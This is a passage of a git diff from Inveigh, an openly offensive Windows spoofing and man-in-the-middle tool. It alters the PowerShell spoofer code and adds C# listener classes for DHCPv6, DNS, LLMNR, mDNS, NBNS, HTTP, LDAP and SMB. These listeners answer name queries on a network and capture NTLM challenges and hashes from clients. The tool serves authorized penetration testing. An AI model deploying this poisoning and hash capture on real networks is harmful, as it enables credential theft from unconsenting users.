- $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,137)
+ $NBNS_destination_endpoint = New-Object System.Net.IPEndpoint($NBNS_listener_endpoint.Address,$NBNS_listener_endpoint.Port)
$NBNS_UDP_client.Connect($NBNS_destination_endpoint)
$NBNS_UDP_client.Send($NBNS_response_packet,$NBNS_response_packet.Length)
$NBNS_UDP_client.Close()
$NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
$NBNS_UDP_client.Client.ReceiveTimeout = 5000
- $NBNS_response_message = "[response sent]"
- }
- else
- {
- $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS"
- $NBNS_response_type = $NBNS_response_message[0]
- $NBNS_response_message = $NBNS_response_message[1]
}
if($NBNS_request_data)
{
- $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null
+ $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null
}
$NBNS_request_data = $null
@@ -5870,7 +5899,7 @@ function HTTPListener
$KerberosCount).AddArgument($KerberosCredential).AddArgument($KerberosHash).AddArgument(
$KerberosHostHeader).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument(
$HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument(
- $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument(
+ $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDirectory).AddArgument(
$HTTPResponse).AddArgument($HTTPS_listener).AddArgument($IP).AddArgument($NBNSBruteForcePause).AddArgument(
$output_directory).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument(
$WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null
@@ -5896,7 +5925,7 @@ function HTTPSListener
$KerberosCount).AddArgument($KerberosCredential).AddArgument($KerberosHash).AddArgument(
$KerberosHostHeader).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument(
$HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument(
- $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument(
+ $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDirectory).AddArgument(
$HTTPResponse).AddArgument($HTTPS_listener).AddArgument($IP).AddArgument($NBNSBruteForcePause).AddArgument(
$output_directory).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument(
$WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null
@@ -5922,7 +5951,7 @@ function ProxyListener
$KerberosCount).AddArgument($KerberosCredential).AddArgument($KerberosHash).AddArgument(
$KerberosHostHeader).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument(
$HTTPContentType).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument(
- $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument(
+ $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDirectory).AddArgument(
$HTTPResponse).AddArgument($HTTPS_listener).AddArgument($IP).AddArgument($NBNSBruteForcePause).AddArgument(
$output_directory).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument(
$WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null
@@ -5942,13 +5971,11 @@ function SnifferSpoofer
$sniffer_powershell.AddScript($kerberos_functions_scriptblock) > $null
$sniffer_powershell.AddScript($SMB_functions_scriptblock) > $null
$sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($DNS).AddArgument($DNSTTL).AddArgument(
- $DNS_response_message).AddArgument($EvadeRG).AddArgument($IP).AddArgument($Kerberos).AddArgument(
- $KerberosCount).AddArgument($KerberosCredential).AddArgument($KerberosHash).AddArgument($LLMNR).AddArgument(
- $LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($mDNS).AddArgument(
- $mDNS_response_message).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument($NBNS).AddArgument(
- $NBNS_response_message).AddArgument($NBNSTTL).AddArgument($NBNSTypes).AddArgument(
- $output_directory).AddArgument($Pcap).AddArgument($PcapPortTCP).AddArgument(
- $PcapPortUDP).AddArgument($SMB).AddArgument($SpooferHostsIgnore).AddArgument(
+ $EvadeRG).AddArgument($Inspect).AddArgument($IP).AddArgument($Kerberos).AddArgument($KerberosCount).AddArgument(
+ $KerberosCredential).AddArgument($KerberosHash).AddArgument($LLMNR).AddArgument(
+ $LLMNRTTL).AddArgument($mDNS).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument($NBNS).AddArgument(
+ $NBNSTTL).AddArgument($NBNSTypes).AddArgument($output_directory).AddArgument($Pcap).AddArgument(
+ $PcapTCP).AddArgument($PcapUDP).AddArgument($SMB).AddArgument($SpooferHostsIgnore).AddArgument(
$SpooferHostsReply).AddArgument($SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument(
$SpooferIPsReply).AddArgument($SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument(
$SpooferLearningInterval).AddArgument($SpooferNonprintable).AddArgument(
@@ -5966,7 +5993,7 @@ function DNSSpoofer
$DNS_spoofer_powershell.Runspace = $DNS_spoofer_runspace
$DNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$DNS_spoofer_powershell.AddScript($DNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument(
- $DNSTTL).AddArgument($DNS_response_message).AddArgument($SpooferIP) > $null
+ $DNSTTL).AddArgument($SpooferIP) > $null
$DNS_spoofer_powershell.BeginInvoke() > $null
}
@@ -5980,8 +6007,8 @@ function LLMNRSpoofer
$LLMNR_spoofer_powershell.Runspace = $LLMNR_spoofer_runspace
$LLMNR_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument($Inspect).AddArgument(
- $LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($SpooferIP).AddArgument(
- $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument(
+ $LLMNRTTL).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument(
+ $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument(
$SpooferIPsIgnore).AddArgument($SpooferNonprintable) > $null
$LLMNR_spoofer_powershell.BeginInvoke() > $null
}
@@ -5996,9 +6023,8 @@ function mDNSSpoofer
$mDNS_spoofer_powershell.Runspace = $mDNS_spoofer_runspace
$mDNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$mDNS_spoofer_powershell.AddScript($mDNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument(
- $mDNS_response_message).AddArgument($mDNSTTL).AddArgument($mDNSTypes).AddArgument($SpooferIP).AddArgument(
- $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument(
- $SpooferIPsIgnore) > $null
+ $mDNSTTL).AddArgument($mDNSTypes).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument(
+ $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore) > $null
$mDNS_spoofer_powershell.BeginInvoke() > $null
}
@@ -6012,9 +6038,9 @@ function NBNSSpoofer
$NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace
$NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null
$NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument(
- $IP).AddArgument($NBNS_response_message).AddArgument($NBNSTTL).AddArgument($NBNSTypes).AddArgument(
- $SpooferIP).AddArgument($SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument(
- $SpooferIPsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferNonprintable) > $null
+ $IP).AddArgument($NBNSTTL).AddArgument($NBNSTypes).AddArgument($SpooferIP).AddArgument(
+ $SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument($SpooferIPsIgnore).AddArgument(
+ $SpooferIPsReply).AddArgument($SpooferNonprintable) > $null
$NBNS_spoofer_powershell.BeginInvoke() > $null
}
@@ -6175,7 +6201,7 @@ try
$inveigh.console_queue.RemoveAt(0)
}
- {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"}
+ {$_ -like "*response sent]" -or $_ -like "*ignoring*" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy*request for *" -or $_ -like "*SYN packet*"}
{
if($ConsoleOutput -ne "Low")
@@ -6713,7 +6739,7 @@ if($inveigh.tool -ne 1)
$inveigh.console_queue.RemoveAt(0)
}
- {$_ -like "* spoofer disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"}
+ {$_ -like "*spoofer disabled]" -or $_ -like "*local request]" -or $_ -like "* host header *" -or $_ -like "* user agent received *"}
{
if($ConsoleOutput -eq 'Y')
@@ -6725,7 +6751,7 @@ if($inveigh.tool -ne 1)
}
- {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"}
+ {$_ -like "*response sent]" -or $_ -like "*ignoring*" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy*request for *" -or $_ -like "*SYN packet*"}
{
if($ConsoleOutput -ne "Low")
diff --git a/Inveigh.psm1 b/Inveigh.psm1
index c7b0027..2352cb6 100644
--- a/Inveigh.psm1
+++ b/Inveigh.psm1
@@ -1,6 +1,6 @@
<#
.SYNOPSIS
-Inveigh is a Windows PowerShell LLMNR/NBNS/mDNS/DNS spoofer/man-in-the-middle tool.
+Inveigh is a Windows PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool.
.LINK
https://github.com/Kevin-Robertson/Inveigh
diff --git a/Inveigh.sln b/Inveigh.sln
new file mode 100644
index 0000000..13d1195
--- /dev/null
+++ b/Inveigh.sln
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.30804.86
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Inveigh", "Inveigh\Inveigh.csproj", "{84A26089-F5CA-41D1-B92A-B60994A5C714}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {84A26089-F5CA-41D1-B92A-B60994A5C714}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {84A26089-F5CA-41D1-B92A-B60994A5C714}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {84A26089-F5CA-41D1-B92A-B60994A5C714}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {84A26089-F5CA-41D1-B92A-B60994A5C714}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {CC6C55F7-3612-49FC-B6F8-B8BF7AB9866E}
+ EndGlobalSection
+EndGlobal
diff --git a/Inveigh/Inveigh.csproj b/Inveigh/Inveigh.csproj
new file mode 100644
index 0000000..b0dbbf3
--- /dev/null
+++ b/Inveigh/Inveigh.csproj
@@ -0,0 +1,56 @@
+<Project Sdk="Microsoft.NET.Sdk">
+
+ <PropertyGroup>
+ <OutputType>Exe</OutputType>
+ <TargetFrameworks>net35;net45;net5.0</TargetFrameworks>
+ </PropertyGroup>
+
+
+
+
+ <PropertyGroup>
+ <!-- https://github.com/dotnet/msbuild/issues/1333#issuecomment-296346352 -->
+ <FrameworkPathOverride Condition="'$(TargetFramework)' == 'net35'">$(MSBuildProgramFiles32)\Reference Assemblies\Microsoft\Framework\.NETFramework\v3.5\Profile\Client</FrameworkPathOverride>
+ <AutomaticallyUseReferenceAssemblyPackages Condition=" '$(TargetFramework)' == 'net35' ">false</AutomaticallyUseReferenceAssemblyPackages>
+ <AssemblyName>Inveigh</AssemblyName>
+ <Version>2.0.0</Version>
+ </PropertyGroup>
+
+
+ <PropertyGroup Condition="'$(Configuration)|$(TargetFrameworks)|$(Platform)'=='Debug|net35|AnyCPU'">
+ <DebugType>pdbonly</DebugType>
+ <DebugSymbols>true</DebugSymbols>
+ </PropertyGroup>
+
+
+ <PropertyGroup Condition="'$(Configuration)|$(TargetFramework)|$(Platform)'=='Debug|net35|AnyCPU'">
+ <DebugType>pdbonly</DebugType>
+ <DebugSymbols>true</DebugSymbols>
+ </PropertyGroup>
+
+ <ItemGroup Condition="'$(TargetFramework)' == 'net35'">
+ <Reference Include="System.DirectoryServices.Protocols">
+ <HintPath>$(WINDIR)\Microsoft.NET\Framework64\v2.0.50727\System.DirectoryServices.Protocols.dll</HintPath>
+ <private>False</private>
+ </Reference>
+ </ItemGroup>
+
+
+ <ItemGroup Condition="'$(TargetFramework)' == 'net45'">
+ <PackageReference Include="System.DirectoryServices.Protocols">
+ <Version>5.0.1</Version>
+ </PackageReference>
+ </ItemGroup>
+
+
+ <ItemGroup Condition="'$(TargetFramework)' == 'net5.0'">
+ <PackageReference Include="System.DirectoryServices.Protocols">
+ <Version>5.0.1</Version>
+ </PackageReference>
+ </ItemGroup>
+
+ <PropertyGroup Condition="'$(TargetFramework)' == 'net5.0'">
+ <DefineConstants>ISNET5_0</DefineConstants>
+ </PropertyGroup>
+
+</Project>
diff --git a/Inveigh/Listeners/DHCPv6Listener.cs b/Inveigh/Listeners/DHCPv6Listener.cs
new file mode 100644
index 0000000..e65198c
--- /dev/null
+++ b/Inveigh/Listeners/DHCPv6Listener.cs
@@ -0,0 +1,69 @@
+using Quiddity.DHCPv6;
+using System;
+
+namespace Inveigh
+{
+ class DHCPv6Listener : Quiddity.DHCPv6Listener
+ {
+ public DHCPv6Listener()
+ {
+ this.Index = 1;
+ this.DNSSuffix = "";
+ this.Lifetime = 300;
+ this.Prefix = (new Random()).Next(1, 9999);
+ }
+
+ public DHCPv6Listener(uint lifetime, string dnsSuffix)
+ {
+ this.Index = 1;
+ this.DNSSuffix = dnsSuffix;
+ this.Lifetime = lifetime;
+ this.Prefix = (new Random()).Next(1, 9999);
+ }
+
+ protected override void Output(int msgType, string leaseIP, string clientIP, string clientMAC, string clientHostname, string message)
+ {
+ Inveigh.Output.DHCPv6Output(msgType, leaseIP, clientIP, clientMAC, clientHostname, message);
+ }
+
+ protected override void OutputError(string message)
+ {
+ Inveigh.Output.Queue(message);
+ }
+
+ public override bool Check(string clientMAC, string clientHost, string listenerMAC, bool isMicrosoft, out string message)
+ {
+
+ DHCPv6Checker helper = new DHCPv6Checker
+ {
+ Enabled = Program.enabledDHCPv6,
+ Repeat = Program.enabledRepeat,
+ Inspect = Program.enabledInspect,
+ IgnoreMACs = Program.argIgnoreMACs,
+ Local = Program.enabledLocal,
+ ReplyToMACs = Program.argReplyToMACs,
+ HostCaptures = Program.HostCaptureList,
+ OutputReplyAllowed = "response sent",
+ OutputInspect = "inspect only",
+ OutputDisabled = "disabled",
+ OutputLocal = "local ignored",
+ OutputHostDenied = "host ignored",
+ OutputIPDenied = "IP ignored",
+ OutputMACDenied = "MAC ignored",
+ OutputVendorDenied = "vendor ignored",
+ OutputRepeat = "previous capture",
+ };
+
+ if (helper.Check(clientMAC, clientHost, listenerMAC, isMicrosoft))
+ {
+ message = helper.OutputMessage;
+ return true;
+ }
+
+ message = helper.OutputMessage;
+ return false;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Listeners/DNSListener.cs b/Inveigh/Listeners/DNSListener.cs
new file mode 100644
index 0000000..d74b971
--- /dev/null
+++ b/Inveigh/Listeners/DNSListener.cs
@@ -0,0 +1,67 @@
+using Quiddity.DNS;
+using System;
+
+namespace Inveigh
+{
+ class DNSListener : Quiddity.DNSListener
+ {
+ internal DNSListener()
+ {
+ this.TTL = 30;
+ }
+
+ internal DNSListener(uint ttl)
+ {
+ this.TTL = ttl;
+ }
+
+ internal DNSListener(uint ttl, string host)
+ {
+ this.Serial = Program.dnsSerial;
+ this.TTL = ttl;
+ this.Host = host;
+ this.Priority = 0;
+ this.Weight = 100;
+ }
+
+ protected override void Output(string protocol, string clientIP, string name, string type, string message)
+ {
+ Inveigh.Output.SpooferOutput(protocol, type, name, clientIP, message);
+ }
+
+ protected override void OutputError(Exception ex)
+ {
+ Inveigh.Output.Queue(ex.ToString());
+ }
+
+ public override bool Check(string name, string type, string clientIP, out string message)
+ {
+
+ DNSChecker helper = new DNSChecker
+ {
+ IgnoreHosts = Program.argIgnoreHosts,
+ ReplyToHosts = Program.argReplyToHosts,
+ IgnoreIPs = Program.argIgnoreIPs,
+ ReplyToIPs = Program.argReplyToIPs,
+ IgnoreDomains = Program.argIgnoreDomains,
+ ReplyToDomains = Program.argReplyToDomains,
+ IPCaptures = Program.IPCaptureList,
+ Types = Program.argDNSTypes,
+ Services = Program.argDNSSRV,
+ Enabled = Program.enabledDNS,
+ Repeat = Program.enabledRepeat,
+ Inspect = Program.enabledInspect,
+ };
+
+ if (helper.Check(name, type, clientIP))
+ {
+ message = helper.OutputMessage;
+ return true;
+ }
+
+ message = helper.OutputMessage;
+ return false;
+ }
+
+ }
+}
diff --git a/Inveigh/Listeners/HTTPListener.cs b/Inveigh/Listeners/HTTPListener.cs
new file mode 100644
index 0000000..d3b0961
--- /dev/null
+++ b/Inveigh/Listeners/HTTPListener.cs
@@ -0,0 +1,61 @@
+using System;
+
+namespace Inveigh
+{
+ class HTTPListener : Quiddity.HTTPListener
+ {
+
+ public HTTPListener()
+ {
+ this.EnabledWebDAV = true;
+ this.IgnoreAgents = new string[] { "Firefox" };
+ this.HTTPAuth = "NTLM";
+ this.WebDAVAuth = "NTLM";
+ this.WPADAuth = "NTLM";
+ this.HTTPRealm = "ADFS";
+ this.NetbiosDomain = "DESKTOP-TI86FV2";
+ this.ComputerName = "DESKTOP-TI86FV2";
+ this.DNSDomain = "DESKTOP-TI86FV2";
+ }
+
+ protected override void OutputUserAgent(string protocol, string listenerPort, string clientIP, string clientPort, string userAgent)
+ {
+ Output.Queue(String.Format("[.] [{0}] {1}({2}) user agent from {3}:{4}:{5}{6}", Output.Timestamp(), protocol, listenerPort, clientIP, clientPort, Environment.NewLine, userAgent));
+ }
+
+ protected override void OutputHostHeader(string protocol, string listenerPort, string clientIP, string clientPort, string hostHeader)
+ {
+ Output.Queue(String.Format("[.] [{0}] {1}({2}) host header {3} from {4}:{5}", Output.Timestamp(), protocol, listenerPort, hostHeader, clientIP, clientPort));
+ }
+
+ protected override void OutputRequestMethod(string protocol, string listenerPort, string clientIP, string clientPort, string uri, string method)
+ {
+ Output.Queue(String.Format("[.] [{0}] {1}({2}) {3} request from {5}:{6} for {4}", Output.Timestamp(), protocol, listenerPort, method, uri, clientIP, clientPort));
+ }
+
+ protected override void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash)
+ {
+ Output.NTLMOutput(user, domain, ntlmChallenge, ntlmResponseHash, clientIP, host, protocol, listenerPort, clientPort, lmResponseHash);
+ }
+
+ protected override void OutputChallenge(string protocol, string listenerPort, string clientIP, string clientPort, string challenge)
+ {
+ Output.Queue(String.Format("[+] [{0}] {1}({2}) NTLM challenge [{3}] sent to {4}:{5}", Output.Timestamp(), protocol, listenerPort, challenge, clientIP, clientPort));
+ }
+
+ protected override void OutputError(Exception ex, string protocol, int port)
+ {
+ if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
+ {
+ Output.Queue(string.Format("[!] Failed to start {0} listener on port {1}, check IP and port usage.", protocol, port));
+ }
+ else
+ {
+ Output.Queue(ex.ToString());
+
+ }
+ }
+
+ }
+
+}
diff --git a/Inveigh/Listeners/LDAPListener.cs b/Inveigh/Listeners/LDAPListener.cs
new file mode 100644
index 0000000..48e73df
--- /dev/null
+++ b/Inveigh/Listeners/LDAPListener.cs
@@ -0,0 +1,33 @@
+using System;
+
+namespace Inveigh
+{
+ class LDAPListener : Quiddity.LDAPListener
+ {
+
+ protected override void OutputChallenge(string listenerPort, string clientIP, string clientPort, string challenge)
+ {
+ Output.Queue(String.Format("[+] [{0}] LDAP({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), listenerPort, challenge, clientIP, clientPort));
+ }
+
+ protected override void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash)
+ {
+ Output.NTLMOutput(user, domain, ntlmChallenge, ntlmResponseHash, clientIP, host, protocol, listenerPort, clientPort, lmResponseHash);
+ }
+
+ protected override void OutputError(Exception ex, int port)
+ {
+
+ if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
+ {
+ Output.Queue(String.Format("[!] Failed to start LDAP listener on port {0}, check IP and port usage.", port));
+ }
+ else
+ {
+ Output.Queue(ex.ToString());
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Listeners/LLMNRListener.cs b/Inveigh/Listeners/LLMNRListener.cs
new file mode 100644
index 0000000..93729b5
--- /dev/null
+++ b/Inveigh/Listeners/LLMNRListener.cs
@@ -0,0 +1,56 @@
+using System;
+using Quiddity.LLMNR;
+
+namespace Inveigh
+{
+ class LLMNRListener : Quiddity.LLMNRListener
+ {
+ internal LLMNRListener()
+ {
+ this.TTL = 300;
+ }
+
+ internal LLMNRListener(uint ttl)
+ {
+ this.TTL = ttl;
+ }
+
+ protected override void Output(string protocol, string clientIP, string name, string type, string message)
+ {
+ Inveigh.Output.SpooferOutput(protocol, type, name, clientIP, message);
+ }
+
+ protected override void OutputError(Exception ex)
+ {
+ Inveigh.Output.Queue(ex.ToString());
+ }
+
+ public override bool Check(string name, string type, string clientIP, out string message)
+ {
+
+ LLMNRChecker llmnrHelper = new LLMNRChecker
+ {
+ IgnoreHosts = Program.argIgnoreHosts,
+ ReplyToHosts = Program.argReplyToHosts,
+ IgnoreIPs = Program.argIgnoreIPs,
+ ReplyToIPs = Program.argReplyToIPs,
+ IPCaptures = Program.IPCaptureList,
+ Types = Program.argLLMNRTypes,
+ Enabled = Program.enabledLLMNR,
+ Repeat = Program.enabledRepeat,
+ Inspect = Program.enabledInspect,
+ };
+
+ if (llmnrHelper.Check(name, type, clientIP))
+ {
+ message = llmnrHelper.OutputMessage;
+ return true;
+ }
+
+ message = llmnrHelper.OutputMessage;
+ return false;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Listeners/MDNSListener.cs b/Inveigh/Listeners/MDNSListener.cs
new file mode 100644
index 0000000..c8736ed
--- /dev/null
+++ b/Inveigh/Listeners/MDNSListener.cs
@@ -0,0 +1,59 @@
+using Quiddity.MDNS;
+using System;
+
+namespace Inveigh
+{
+ class MDNSListener : Quiddity.MDNSListener
+ {
+
+ public MDNSListener()
+ {
+ this.TTL = 120;
+ }
+
+ public MDNSListener(uint ttl, bool unicastOnly)
+ {
+ this.TTL = ttl;
+ this.UnicastOnly = unicastOnly;
+ }
+
+ protected override void Output(string protocol, string clientIP, string name, string question, string type, string message)
+ {
+ type = string.Concat(question, ")(", type);
+ Inveigh.Output.SpooferOutput(protocol, type, name, clientIP, message);
+ }
+
+ protected override void OutputError(Exception ex)
+ {
+ Inveigh.Output.Queue(ex.ToString());
+ }
+
+ public override bool Check(string name, string question, string type, string clientIP, out string message)
+ {
+
+ MDNSChecker mdnsHelper = new MDNSChecker
+ {
+ IgnoreHosts = Program.argIgnoreHosts,
+ ReplyToHosts = Program.argReplyToHosts,
+ IgnoreIPs = Program.argIgnoreIPs,
+ ReplyToIPs = Program.argReplyToIPs,
+ IPCaptures = Program.IPCaptureList,
+ Questions = Program.argMDNSQuestions,
+ Types = Program.argMDNSTypes,
+ Enabled = Program.enabledMDNS,
+ Repeat = Program.enabledRepeat,
+ Inspect = Program.enabledInspect,
+ };
+
+ if (mdnsHelper.Check(name, question, type, clientIP))
+ {
+ message = mdnsHelper.OutputMessage;
+ return true;
+ }
+
+ message = mdnsHelper.OutputMessage;
+ return false;
+ }
+
+ }
+}
diff --git a/Inveigh/Listeners/NBNSListener.cs b/Inveigh/Listeners/NBNSListener.cs
new file mode 100644
index 0000000..6e574d8
--- /dev/null
+++ b/Inveigh/Listeners/NBNSListener.cs
@@ -0,0 +1,57 @@
+using System;
+using Quiddity;
+using Quiddity.NetBIOS;
+
+namespace Inveigh
+{
+ class NBNSListener : NetBIOSNSListener
+ {
+ public NBNSListener()
+ {
+ this.TTL = 165;
+ }
+
+ public NBNSListener(uint ttl)
+ {
+ this.TTL = ttl;
+ }
+
+ protected override void Output(string protocol, string clientIP, string name, string type, string message)
+ {
+ Inveigh.Output.SpooferOutput(protocol, type, name, clientIP, message);
+ }
+
+ protected override void OutputError(Exception ex)
+ {
+ Inveigh.Output.Queue(ex.ToString());
+ }
+
+ public override bool Check(string name, string type, string clientIP, out string message)
+ {
+
+ NetBIOSNSChecker helper = new NetBIOSNSChecker
+ {
+ IgnoreHosts = Program.argIgnoreHosts,
+ ReplyToHosts = Program.argReplyToHosts,
+ IgnoreIPs = Program.argIgnoreIPs,
+ ReplyToIPs = Program.argReplyToIPs,
+ IPCaptures = Program.IPCaptureList,
+ Types = Program.argNBNSTypes,
+ Enabled = Program.enabledNBNS,
+ Repeat = Program.enabledRepeat,
+ Inspect = Program.enabledInspect,
+ };
+
+ if (helper.Check(name, type, clientIP))
+ {
+ message = helper.OutputMessage;
+ return true;
+ }
+
+ message = helper.OutputMessage;
+ return false;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Listeners/SMBListener.cs b/Inveigh/Listeners/SMBListener.cs
new file mode 100644
index 0000000..e7606ae
--- /dev/null
+++ b/Inveigh/Listeners/SMBListener.cs
@@ -0,0 +1,70 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+
+namespace Inveigh
+{
+ class SMBListener : Quiddity.SMBListener
+ {
+
+ protected override void OutputChallenge(string listenerPort, string clientIP, string clientPort, string challenge)
+ {
+ Output.Queue(String.Format("[+] [{0}] SMB({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), listenerPort, challenge, clientIP, clientPort));
+ }
+
+ protected override void OutputNTLM(string protocol, string listenerPort, string clientIP, string clientPort, string user, string domain, string host, string ntlmChallenge, string ntlmResponseHash, string lmResponseHash)
+ {
+ Output.NTLMOutput(user, domain, ntlmChallenge, ntlmResponseHash, clientIP, host, protocol, listenerPort, clientPort, lmResponseHash);
+ }
+
+ protected override void OutputNegotiation(string protocol, string listenerPort, string clientIP, string clientPort)
+ {
+ Output.Queue(String.Format("[.] [{0}] {1}({2}) negotiation request received from {3}:{4}", Output.Timestamp(), protocol, listenerPort, clientIP, clientPort));
+ }
+
+ protected override void OutputError(Exception ex, int port)
+ {
+
+ if (ex.Message.ToString().Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
+ {
+ Output.Queue(String.Format("[!] Failed to start SMB listener on port {0}, check IP and port usage.", port));
+ }
+ else
+ {
+ Output.Queue(ex.ToString());
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Program.cs b/Inveigh/Program.cs
new file mode 100644
index 0000000..c6d12ca
--- /dev/null
+++ b/Inveigh/Program.cs
@@ -0,0 +1,648 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.IO;
+using System.Collections;
+
